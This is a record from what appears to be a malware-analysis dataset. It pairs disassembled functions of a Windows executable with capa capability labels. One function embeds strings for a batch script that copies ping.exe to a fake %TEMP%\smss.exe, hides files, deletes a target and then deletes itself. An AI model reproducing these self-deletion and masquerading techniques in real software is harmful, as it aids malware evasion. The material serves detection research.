joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a422
Capabilities:
Terminate process

Disassembly:
push ebx
cmp esi, edi
je 0x40a4cc
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edi + 8]
test eax, eax
jle 0x40a43d
mov dword [esi + 8], eax
jmp 0x40a444
mov dword [esi + 8], 0x2000
mov ebx, dword [esi]
test ebx, ebx
je 0x40a459
call fcn.0040d04d
test ebx, ebx
je 0x40a459
push ebx
call fcn.0040e8d8
mov ebx, dword [esi + 8]
call fcn.0040d04d
cmp ebx, 0x6400000
ja 0x40a4a5
test ebx, ebx
jne 0x40a46e
inc ebx
add ebx, 4
cmp dword [0x41ffa4], 0
jne 0x40a483
call fcn.00401270
test al, al
je 0x40a4a5
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push 8
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x40a4a7
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov dword [esi], eax
mov ecx, dword [edi]
test ecx, ecx
je 0x40a4c6
test eax, eax
je 0x40a4c6
cmp dword [edi + 8], 0
jle 0x40a4c6
push dword [esi + 8]
push ecx
push eax
call fcn.00401ab0
add esp, 0xc
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, esi
pop ebx
ret

Function at 0x40a4d0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edi + 8]
push ebx
test eax, eax
jle 0x40a4e3
mov dword [esi + 8], eax
jmp 0x40a4ea
mov dword [esi + 8], 0x2000
mov ebx, dword [esi + 8]
call fcn.0040d04d
cmp ebx, 0x6400000
ja 0x40a536
test ebx, ebx
jne 0x40a4ff
inc ebx
add ebx, 4
cmp dword [0x41ffa4], 0
jne 0x40a514
call fcn.00401270
test al, al
je 0x40a536
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push 8
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x40a538
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov dword [esi], eax
mov ecx, dword [edi]
test ecx, ecx
je 0x40a557
test eax, eax
je 0x40a557
cmp dword [edi + 8], 0
jle 0x40a557
push dword [esi + 8]
push ecx
push eax
call fcn.00401ab0
add esp, 0xc
mov eax, dword [edi + 4]
mov dword [esi + 4], eax
mov eax, esi
pop ebx
ret

Function at 0x40a561
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
and dword [esi + 0xc], 0
add eax, 0x2000
cdq
and edx, 0xf
add eax, edx
sar eax, 4
inc eax
shl eax, 4
push edi
mov dword [esi + 8], eax
mov edi, eax
call fcn.0040d04d
cmp edi, 0x6400000
ja 0x40a5ca
test edi, edi
jne 0x40a593
inc edi
add edi, 4
cmp dword [0x41ffa4], 0
jne 0x40a5a8
call fcn.00401270
test al, al
je 0x40a5ca
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
push 8
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x40a5cc
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov dword [esi], eax
neg eax
sbb eax, eax
and eax, dword [esp + 8]
pop edi
mov dword [esi + 4], eax
mov eax, esi
ret 4
Function at 0x40a5df
Capabilities:
Terminate process

Disassembly:
push ebx
xor ebx, ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x2000
call fcn.0040d04d
cmp dword [0x41ffa4], ebx
jne 0x40a60d
call fcn.00401270
cmp al, bl
jne 0x40a60d
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], ebx
mov eax, esi
pop ebx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x2004
push 8
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, ebx
jne 0x40a604
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a7c1
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0xc], 0
push ebx
push esi
push edi
mov ebx, eax
je 0x40a8ca
test ebx, ebx
jle 0x40a8ca
and dword [ebp - 0xc], 0
lea esi, [ebx + ebx]
mov dword [ebp - 8], esi
call fcn.0040d04d
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
js 0x40a841
cmp esi, 0x6400000
jg 0x40a841
test esi, esi
jne 0x40a804
inc esi
add esi, 4
cmp dword [0x41ffa4], 0
jne 0x40a81d
call fcn.00401270
test al, al
je 0x40a8ca
push 0
call edi
push esi
push 8
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x40a83c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 4], eax
jmp 0x40a845
and dword [ebp - 4], 0
mov esi, dword [ebp - 4]
test esi, esi
je 0x40a8ca
call fcn.0040d04d
push ebx
push dword [ebp + 0xc]
lea eax, [ebp - 8]
push esi
call fcn.0040daf9
test al, al
je 0x40a86f
mov ebx, dword [ebp - 8]
mov dword [ebp + 0xc], esi
mov dword [ebp - 0xc], 2
lea esi, [ebx + 0x3b]
call fcn.0040d04d
cmp esi, 0x6400000
ja 0x40a8b4
test esi, esi
jne 0x40a884
inc esi
add esi, 4
cmp dword [0x41ffa4], 0
jne 0x40a899
call fcn.00401270
test al, al
je 0x40a8b4
push 0
call edi
push esi
push 8
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40a834
mov esi, eax
jmp 0x40a8b6
xor esi, esi
mov dword [ebp - 8], esi
test esi, esi
jne 0x40a8d3
call fcn.0040d04d
push dword [ebp - 4]
call fcn.0040e8d8
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0x1c
call fcn.0040d04d
push eax
call fcn.0040b022
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
call fcn.0040d04d
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x10], 0x80bcde14
mov dword [esi + 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x1c], eax
and dword [esi + 0x20], 0
mov eax, dword [ebp + 0x18]
lea edi, [esi + 4]
mov dword [edi], 1
mov byte [esi + 0x35], 0x28
mov dword [esi + 0x2c], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], eax
and dword [esi + 0x14], 0
mov al, byte [ebp - 0xc]
mov byte [esi + 0x34], al
mov eax, dword [ebp + 0x20]
push ebx
push dword [ebp + 0xc]
mov dword [esi + 0x30], eax
lea eax, [esi + 0x36]
push eax
call fcn.00401ab0
add esp, 0xc
call fcn.0040d04d
push dword [ebp - 4]
call fcn.0040e8d8
call fcn.0040d04d
test edi, edi
je 0x40a95e
lea eax, [ebx + 0x32]
push eax
push edi
call fcn.0040d99d
jmp 0x40a960
xor eax, eax
mov dword [esi], eax
mov dword [esi + ebx + 0x36], eax
mov esi, dword [ebp + 8]
lea edi, [esi + 0x14]
call fcn.0040d04d
test edi, edi
je 0x40a97d
push edi
call fcn.0040aab4
jmp 0x40a97f
xor al, al
test al, al
jne 0x40a98d
push 0x67
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a96c
push 0
lea eax, [ebp - 8]
push eax
push 4
lea ecx, [esi + 4]
pop eax
call fcn.0040a74e
push esi
call fcn.0040a0e1
call fcn.0040d04d
test edi, edi
je 0x40a9b3
push edi
call fcn.0040aa94
mov al, 1
jmp 0x40a8cc
Function at 0x40b447
Capabilities:
Get file size

Disassembly:
xor eax, eax
push esi
cmp dword [esp + 0xc], eax
je 0x40b481
cmp dword [esp + 8], eax
je 0x40b481
push eax
push dword [esp + 0xc]
call fcn.0040b390
mov esi, eax
cmp esi, 0xffffffff
je 0x40b481
push dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40b481
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x40b483
xor al, al
pop esi
ret 8

Function at 0x40b534
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x208], ax
xor esi, esi
lea eax, [ebp - 0x206]
push esi
push eax
call fcn.004052c0
add esp, 0xc
cmp dword [ebp + 8], esi
jne 0x40b567
xor eax, eax
jmp 0x40b5d4
lea eax, [ebp - 0x208]
push eax
push esi
push esi
push 0x1c
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x40b58f
push 0x417964
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [ebp + eax*2 - 0x20a], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x40b5bb
push 0x4173d8
lea eax, [ebp - 0x208]
push eax
call esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
lea edi, [ebp - 0x208]
call fcn.0040c2d5
pop edi
pop esi
leave
ret 4

Function at 0x40b5d9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.004052c0
add esp, 0xc
cmp dword [ebp + 8], 0
jne 0x40b60d
xor eax, eax
jmp 0x40b692
push esi
push edi
call fcn.0040c199
mov esi, 0x104
test al, al
push esi
lea eax, [ebp - 0x208]
push eax
je 0x40b62d
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x40b633
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x40b63b
cmp eax, esi
jb 0x40b64d
push 0x417964
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [ebp + eax*2 - 0x20a], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x40b679
push 0x4173d8
lea eax, [ebp - 0x208]
push eax
call esi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
push eax
call esi
lea edi, [ebp - 0x208]
call fcn.0040c2d5
pop edi
pop esi
leave
ret 4
Function at 0x40b696
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
test edi, edi
jne 0x40b6a7
xor al, al
jmp 0x40b71f
push esi
push 0x20
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edi
call esi
test eax, eax
jne 0x40b71b
cmp byte [ebp + 0xc], al
je 0x40b719
push 0x104
push edi
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor eax, eax
mov word [ebp - 0x80], ax
push 7
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 8]
call fcn.0040c9fd
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x288]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x40b710
push edi
call esi
lea eax, [ebp - 0x288]
push eax
call esi
test eax, eax
setne al
pop esi
leave
ret 8
Function at 0x40b980
Capabilities:
Move file

Disassembly:
mov eax, 0x414487
call fcn.004104dc
sub esp, 0x21c
push ebx
push esi
push edi
push 1
push 0x104
lea eax, [ebp - 0x228]
push eax
mov edi, ecx
call fcn.0040db27
test al, al
je 0x40ba70
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
call fcn.0040aaf6
push eax
lea esi, [ebp - 0x20]
mov dword [ebp - 0x10], eax
call fcn.0040a561
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x20], ebx
je 0x40ba64
push dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push dword [ebp - 0x20]
lea eax, [ebp - 0x10]
call fcn.0040dacc
cmp al, bl
je 0x40ba64
lea eax, [ebp - 0x228]
test eax, eax
jne 0x40b9f9
or esi, 0xffffffff
jmp 0x40ba0d
push 2
lea eax, [ebp - 0x228]
push eax
call fcn.0040b390
mov esi, eax
cmp esi, ebx
je 0x40ba64
push dword [ebp - 0x10]
push dword [ebp - 0x20]
push esi
call fcn.0040b315
push esi
cmp eax, ebx
je 0x40ba4e
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040b420
test al, al
je 0x40ba38
push 1
push dword [ebp + 8]
call fcn.0040b696
push edi
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x40ba64
mov bl, 1
jmp 0x40ba54
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x20]
call fcn.0040a40a
mov al, bl
jmp 0x40ba72
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x20]
call fcn.0040a40a
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 0xc

Function at 0x40bd33
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push 0
push 2
mov dword [ebp - 0x22c], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40bd5c
xor al, al
jmp 0x40bdbc
lea eax, [ebp - 0x22c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40bdb3
push edi
mov edi, 0x41d3b0
lea eax, [ebp - 0x22c]
push edi
push eax
call fcn.0040c105
pop ecx
pop ecx
cmp al, 1
jne 0x40bdb2
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x40bda3
lea eax, [ebp - 0x22c]
push edi
push eax
call fcn.0040c105
pop ecx
pop ecx
test al, al
je 0x40bdb1
lea eax, [ebp - 0x22c]
push eax
push ebx
call esi
test eax, eax
jne 0x40bd90
pop esi
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ebx
leave
ret

Function at 0x40c074
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push edi
push 0xf0000040
push 1
push str.Microsoft_Strong_Cryptographic_Provider
push 0
mov edi, 0x4201dc
push edi
call esi
test eax, eax
jne 0x40c0b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x40c0b1
push 8
push 1
push 0
push str.MyKeyContainer
push edi
call esi
mov eax, dword [0x4201dc]
pop edi
pop esi
ret
Function at 0x40c13c
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, str.C:MyFolderCool
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40c15d
test al, 0x10
je 0x40c15d
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov al, 1
pop esi
ret
xor al, al
pop esi
ret

Function at 0x40c1d4
Capabilities:
Modify service
Start service

Disassembly:
push ebx
push ebp
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
cmp ebp, ebx
jne 0x40c1f2
xor al, al
pop ebp
pop ebx
ret 4
push esi
push edi
push 0xf01ff
push dword [esp + 0x18]
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
cmp esi, ebx
jne 0x40c219
push ebp
call edi
pop edi
mov al, bl
pop esi
jmp 0x40c1ed
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x40c247
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x40c249
mov bl, 1
push esi
call edi
jmp 0x40c210

Function at 0x40c2d5
Capabilities:
Terminate process

Disassembly:
test edi, edi
jne 0x40c2dc
xor eax, eax
ret
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [eax + eax + 2]
test esi, esi
js 0x40c338
cmp esi, 0x6400000
jg 0x40c338
test esi, esi
jne 0x40c2f9
inc esi
add esi, 4
cmp dword [0x41ffa4], 0
jne 0x40c312
call fcn.00401270
test al, al
jne 0x40c312
xor esi, esi
jmp 0x40c346
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 8
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x40c334
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, eax
jmp 0x40c33a
xor esi, esi
test esi, esi
je 0x40c346
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, esi
pop esi
ret
Function at 0x40c34a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push dword [ebp + 8]
call esi
push dword [ebp + 0xc]
mov edi, eax
mov dword [ebp - 0x14], edi
call esi
mov ebx, eax
lea eax, [ebx + 1]
lea esi, [edi + 1]
imul esi, eax
mov dword [ebp - 0x10], ebx
mov byte [ebp - 1], 0
cmp esi, 0x6400000
ja 0x40c3c3
test esi, esi
jne 0x40c387
inc esi
add esi, 4
cmp dword [0x41ffa4], 0
jne 0x40c39c
call fcn.00401270
test al, al
je 0x40c3cd
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push 8
push dword [0x41ffa4]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
jne 0x40c3be
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0xc], eax
jmp 0x40c3c7
and dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0
jne 0x40c3d4
xor al, al
jmp 0x40c4f3
mov ecx, dword [ebp - 0xc]
mov eax, ebx
imul eax, edi
test eax, eax
je 0x40c3e7
mov byte [ecx], 0
inc ecx
dec eax
jne 0x40c3e0
and dword [ebp - 8], 0
test edi, edi
je 0x40c4c7
mov edi, dword [ebp - 0xc]
sub edi, ebx
dec edi
xor esi, esi
test ebx, ebx
je 0x40c49f
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
movzx eax, word [eax + ecx*2]
push eax
call fcn.00402072
mov bx, ax
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + esi*2]
push eax
call fcn.00402072
pop ecx
pop ecx
cmp bx, ax
je 0x40c48b
mov eax, dword [ebp + 0xc]
movzx eax, word [eax + esi*2]
cmp eax, 0x3f
je 0x40c48b
cmp eax, 0x2a
jne 0x40c493
mov edx, dword [ebp - 8]
test edx, edx
je 0x40c44d
test esi, esi
je 0x40c44d
movzx eax, byte [edi + esi]
inc eax
jmp 0x40c450
xor eax, eax
inc eax
test edx, edx
je 0x40c45b
movzx ecx, byte [edi + esi + 1]
jmp 0x40c45e
xor ecx, ecx
inc ecx
cmp eax, ecx
jle 0x40c471
test edx, edx
je 0x40c47c
test esi, esi
je 0x40c47c
movzx eax, byte [edi + esi]
inc eax
jmp 0x40c47f
test edx, edx
je 0x40c47c
movzx eax, byte [edi + esi + 1]
jmp 0x40c47f
xor eax, eax
inc eax
mov ebx, dword [ebp - 0x10]
lea ecx, [edi + ebx + 1]
mov byte [ecx + esi], al
jmp 0x40c496
cmp dword [ebp - 8], 0
jbe 0x40c47c
jmp 0x40c466
mov ebx, dword [ebp - 0x10]
inc esi
cmp esi, ebx
jb 0x40c403
test byte [ebp - 8], 0x1f
jne 0x40c4b3
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call esi
push 0
call esi
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
add edi, ebx
cmp eax, dword [ebp - 0x14]
jb 0x40c3f9
mov edi, dword [ebp - 0x14]
xor ecx, ecx
test edi, edi
je 0x40c4e8
mov eax, dword [ebp - 0xc]
lea eax, [eax + ebx - 1]
movzx edx, byte [eax]
cmp edx, ebx
je 0x40c4e4
inc ecx
add eax, ebx
cmp ecx, edi
jb 0x40c4d4
jmp 0x40c4e8
mov byte [ebp - 1], 1
push dword [ebp - 0xc]
call fcn.0040e8d8
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40c4fa
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4201dc]
sub esp, 0x10
test eax, eax
jne 0x40c50e
call fcn.0040c074
push esi
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x40c520
mov eax, dword [esi]
jmp 0x40c54a
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
movzx ecx, word [ebp - 2]
shl eax, 0xd
xor eax, ecx
xor eax, dword [0x4201e0]
imul eax, eax, 0x19660d
add eax, 0x3c88596c
xor edx, edx
div dword [ebp + 0xc]
mov dword [0x4201e0], edx
mov eax, edx
leave
ret 8

Function at 0x40c5a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x858
push ebx
push esi
push 0x44
pop ecx
mov edx, ecx
lea eax, [ebp - 0x58]
xor ebx, ebx
mov byte [eax], bl
inc eax
dec edx
jne 0x40c5b5
push 0x10
pop edx
lea eax, [ebp - 0x10]
mov byte [eax], bl
inc eax
dec edx
jne 0x40c5c1
push dword [ebp + 8]
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x858]
push eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x2c], 0x81
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4176b8
lea eax, [ebp - 0x858]
push eax
call esi
push dword [ebp + 0xc]
lea eax, [ebp - 0x858]
push eax
call esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x858]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40c638
cmp edi, ebx
je 0x40c634
mov eax, dword [ebp - 0x10]
mov dword [edi], eax
mov al, 1
jmp 0x40c63a
xor al, al
pop esi
pop ebx
leave
ret 8
Function at 0x40ca67
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x644
push ebx
push esi
push edi
push 1
push 0x208
lea eax, [ebp - 0x438]
push eax
call fcn.0040db27
test al, al
je 0x40cbf0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str..cmd
lea eax, [ebp - 0x438]
push eax
call esi
lea eax, [ebp - 0x438]
test eax, eax
jne 0x40cab2
or dword [ebp - 4], 0xffffffff
jmp 0x40cacb
push 2
lea eax, [ebp - 0x438]
push eax
call fcn.0040b390
mov dword [ebp - 4], eax
test eax, eax
je 0x40cbf0
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, str._t_t_t_t_t_t_t_t__echo_del__0______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_copy__y___SYSTEMROOT__system32ping.exe____TEMP__smss.exe_______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_:z______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_del__1______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo___TEMP__smss.exe__127.1__n
push edi
call ebx
xor ecx, ecx
cmp ecx, edi
je 0x40cae9
push eax
push edi
push dword [ebp - 4]
call fcn.0040b315
push 0x14
lea eax, [ebp - 0x24]
push 0x417810
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
call ebx
lea ecx, [ebp - 0x24]
test ecx, ecx
je 0x40cb16
push eax
mov eax, ecx
push eax
push dword [ebp - 4]
call fcn.0040b315
mov edi, str.__t_t_t_t_t_t_t_t_______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_attrib__s__h__1______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_if_exist__1_goto_z______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_del___TEMP__smss.exe_______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t__echo_del___TEMP_msicheck.cmd_______TEMP_msicheck.cmd__n_t_t_t_t_t_t_t_t____SYSTEMROOT__system32cmd.exe___c___TEMP_msicheck.cmd__n
push edi
call ebx
xor ecx, ecx
cmp ecx, edi
je 0x40cb2e
push eax
push edi
push dword [ebp - 4]
call fcn.0040b315
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x104
push edi
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
test eax, eax
je 0x40cb68
cmp eax, edi
jae 0x40cb68
push 0x4173dc
lea eax, [ebp - 0x640]
push eax
call esi
jmp 0x40cb76
push str.cmd.exe
lea eax, [ebp - 0x640]
push eax
call ebx
push str.__c
lea eax, [ebp - 0x230]
push eax
call ebx
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x230]
push eax
call esi
push 0x4176b8
lea eax, [ebp - 0x230]
push eax
call esi
mov edi, 0x4177ec
push edi
lea eax, [ebp - 0x230]
push eax
call esi
call fcn.0040dbd1
push eax
lea eax, [ebp - 0x230]
push eax
call esi
push edi
lea eax, [ebp - 0x230]
push eax
call esi
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x640]
push eax
lea edi, [ebp - 4]
call fcn.0040c5a0
test al, al
je 0x40cbf0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x40cbf2
xor al, al
pop edi
pop esi
pop ebx
leave
ret